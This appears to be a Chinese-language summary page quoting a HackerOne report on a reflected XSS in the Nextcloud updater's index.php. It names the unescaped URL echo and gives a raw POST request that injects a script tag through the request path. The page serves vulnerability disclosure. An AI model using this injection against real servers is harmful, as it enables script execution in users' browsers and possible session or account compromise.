[Reflected XSS] In Request URL
该报告还没有中文解读。
原文摘录
摘自原文(876 字符中的一小部分)
In [index.php file](https://github.com/nextcloud/updater/blob/master/index.php#L1765) on 1765 we can see XSS: `<a class="button" href="<?php echo str_replace('/index.php', '/../', $updaterUrl); ?>">` Because NextCloud allow links like: '/index.php/{ANY_CONTENT}' If we will do request like:原文中的代码
POST /updater/index.php/h"><script>alert(1);</script> HTTP/1.1
Host: vulns.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
updater-secret-input={OUR_SECRET}默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @nstikhomirov · 版权归作者与 Nextcloud 所有